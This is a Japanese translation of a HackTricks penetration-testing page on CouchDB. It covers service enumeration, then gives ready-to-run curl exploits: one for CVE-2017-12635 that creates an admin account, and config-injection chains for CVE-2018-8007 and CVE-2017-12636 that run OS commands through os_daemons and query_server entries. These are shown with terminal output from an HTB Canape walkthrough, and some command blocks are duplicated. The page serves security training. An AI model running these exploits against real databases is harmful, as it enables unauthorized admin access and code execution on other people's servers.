hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

23 KiB
Raw Blame History

5984,6984 - CouchDBのペネトレーションテスト

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricksをサポートする他の方法:

基本情報

CouchDBはドキュメント指向のデータベースで、各ドキュメント内のフィールドはキーと値のマップとして保存されます。フィールドは、単純なキー/値のペア、リスト、またはマップであることができます。

データベースに保存される各ドキュメントには、ドキュメントレベルの一意の識別子(_id)と、データベースに変更が加えられ保存されるたびに付与されるリビジョン番号(_rev)が与えられます。

デフォルトポート: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

自動列挙

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

手動列挙

バナー

curl http://IP:5984/

この問題は、インストールされたCouchDBインスタンスにGETリクエストを発行します。返信は以下のいずれかのように見えるはずです

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} couchdbのルートにアクセスした際に401 Unauthorizedが表示され、以下のようなメッセージが出る場合:{"error":"unauthorized","reason":"Authentication required."} バナーや他のエンドポイントにアクセスすることはできません。 {% endhint %}

情報列挙

以下のエンドポイントにGETリクエストでアクセスし、興味深い情報を抽出できます。さらに多くのエンドポイントと詳細な説明はcouchdbのドキュメントで見つけることができます

  • /_active_tasks 実行中のタスクのリストで、タスクのタイプ、名前、ステータス、プロセスIDが含まれます。
  • /_all_dbs CouchDBインスタンス内のすべてのデータベースのリストを返します。
  • /_cluster_setup クラスタ設定ウィザードに従って、ノードまたはクラスタの状態を返します。
  • /_db_updates CouchDBインスタンス内のすべてのデータベースイベントのリストを返します。このエンドポイントを使用するには、_global_changesデータベースが存在する必要があります。
  • /_membership cluster_nodesとしてクラスタの一部であるノードを表示します。all_nodesフィールドは、クラスタの一部であるものを含む、このノードが知っているすべてのノードを表示します。
  • /_scheduler/jobs レプリケーションジョブのリスト。各ジョブの説明には、ソースとターゲットの情報、レプリケーションID、最近のイベントの履歴などが含まれます。
  • /_scheduler/docs レプリケーションドキュメントの状態のリスト。completedおよびfailed状態のドキュメントを含む、すべてのドキュメントに関する情報が含まれます。各ドキュメントには、ドキュメントID、データベース、レプリケーションID、ソースとターゲットなどの情報が返されます。
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} /_node/{node-name}エンドポイントは、リクエストを処理するサーバーのErlangード名を確認するために使用できます。これは、/_node/_localにアクセスしてこの情報を取得する際に最も役立ちます。
  • /_node/{node-name}/_stats _statsリソースは、実行中のサーバーの統計を含むJSONオブジェクトを返します。リテラル文字列_localはローカルード名のエイリアスとして機能するため、すべての統計URLにおいて、{node-name}_localに置き換えられ、ローカルノードの統計と対話することができます。
  • /_node/{node-name}/_system _systemリソースは、実行中のサーバーのさまざまなシステムレベルの統計を含むJSONオブジェクトを返します。_localを{node-name}として使用して、現在のノード情報を取得できます。
  • /_node/{node-name}/_restart
  • /_up サーバーが起動しており、リクエストに応答する準備ができていることを確認します。maintenance_modetrueまたはnolbの場合、エンドポイントは404レスポンスを返します。
  • /_uuids CouchDBインスタンスから1つ以上のユニバーサルユニーク識別子UUIDを要求します。
  • /_reshard 完了、失敗、実行中、停止、および合計ジョブの数と、クラスタ上のリシャーディングの状態を返します。

こちらで説明されているように、さらに興味深い情報を抽出できます:https://lzone.de/cheat-sheet/CouchDB

データベースリスト

curl -X GET http://IP:5984/_all_dbs

If that request 401未承認で応答する場合、データベースにアクセスするためにはいくつかの有効な資格情報が必要です:

curl -X GET http://user:password@IP:5984/_all_dbs

有効なクレデンシャルを見つけるために、サービスをブルートフォースすることができます。

これは、データベースをリストするのに十分な権限を持っているときのcouchdbのレスポンスですこれは単にdbsのリストです

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

データベース情報

データベース名にアクセスすることで、ファイル数やサイズなどのデータベース情報を取得できます:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

ドキュメントリスト

データベース内の各エントリをリストアップ

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

ドキュメントの読み取り

データベース内のドキュメントの内容を読み取ります:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB 権限昇格 CVE-2017-12635

Erlang と JavaScript の JSON パーサーの違いを利用して、以下のリクエストで hacktricks:hacktricks の認証情報を持つ管理ユーザーを作成できます:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

この脆弱性に関する詳細はこちら.

CouchDB RCE

CouchDBのドキュメントにあるクラスター設定セクションでは、CouchDBが使用する異なるポートについて説明しています

クラスターモードのCouchDBはスタンドアロンと同じくポート5984を使用しますが、ードローカルAPI用に5986も使用します。

Erlangは他のードを見つけるためにTCPポート4369EPMDを使用するので、すべてのサーバーはこのポートで互いに通信できる必要があります。Erlangクラスターでは、すべてのードが他のすべてのードに接続されています。メッシュです。

そして、興味深い警告があります:

1536931232858

プロセスリストを見ると、そのcookie、“monster”が見えます

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Erlangのクッキーを悪用してRCEを取得する方法を学ぶにはこのセクションを読むことができます
また、Canape HTBマシンのライトアップを読むことで、この脆弱性を実践して悪用する方法を見ることができます。こちらのライトアップが参考になります。

成功したCVE-2018-8007とlocal.iniの書き込み権限

この投稿を書いている間に、mdsecからCouchDBの新しいCVEがリリースされたことがわかりました。CVE-2018-8007です。これもlocal.iniファイルへの書き込みが必要なので、Canapeには役立たないかもしれません。しかし、すでにrootとして書き込み可能にしているので、機能するかどうか見てみましょう。

クリーンで書き込み可能なlocal.ini(とバックアップ)から始めます:

root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args
`curl`を使用して`local.ini`ファイルのオリジンを変更することができます。ここでの脆弱性は、`curl`を使用して新しいオリジンと改行を置くと、新しいヘッダーや詳細を含む追加の内容を書き込むことができる点です。したがって、`[os_daemons]`フィールドを利用し、CouchDBが実行し続けようとするプロセスを追加します
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

ルートシェルでは、何が変更されたかを確認できます:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

ファイルは存在しません:

root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory

プロセスを見てみると、couchdbがコマンドラインに含まれているものがあります。これには、先ほど使用したクッキー値を示すコマンドラインだけでなく、runsrv couchdbも含まれています:

root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

プロセスを終了させても、すぐに復活します新しいpidに注目してください

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv

再起動時には、OS_Daemonsを実行します

root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

local.ini書き込み権限を持つCVE-2017-12636による成功した試み

CVE-2017-12636は、couchdbプロセスを通じてコード実行を可能にします。しかし、この設定では機能しません。

いくつかのPOCが参考として存在します

新しいquery_serverを書き込み、それを呼び出す必要があります。Canapeがリリースされたとき、ほとんどのPOCはcouchdb 1.x用でしたが、このボックスは2を実行しているため、ほとんどのPOCのquery_serversパスは存在しません。それは今変わりましたが、同じステップを踏みます。まず、バージョンを取得し、1.Xパスが存在しないことを示します

www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}

2.0の新しいパスに更新してください:

www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}

そこから、query_serverを追加してからそれを呼び出すべきですが、できません。

www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}

いくつかのGoogle検索によると、これは権限に関する問題です。実際に、rootシェルで確認すると、local.ini ファイルはwww-dataはおろか、誰にも書き込み可能ではないことがわかります

root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini

これでCanapeに関しては行き止まりです。しかし、動作させようと思えば、rootまたはhomerアクセス権を使って読み取り可能にし、この道を進むことができます。変更点を確認できるように、元のファイルのバックアップを取ります。

root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini

現在、www-data シェルに戻ります:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

前のcmdクエリサーバーの値が返ってきました。これは成功を意味します。そして、ルートシェルでは、それが機能したことが確認できます

root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
これで、dbを作成し、そのdbにドキュメントを作成し、クエリ\_サーバーをマッピングするビューを使って実行を取得するリクエストができるはずです。

dbとドキュメントの作成
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

リクエストをビューで行う:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"

異なるペイロードを使用した要約

Shodan

  • port:5984 couchdb

参考文献

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法: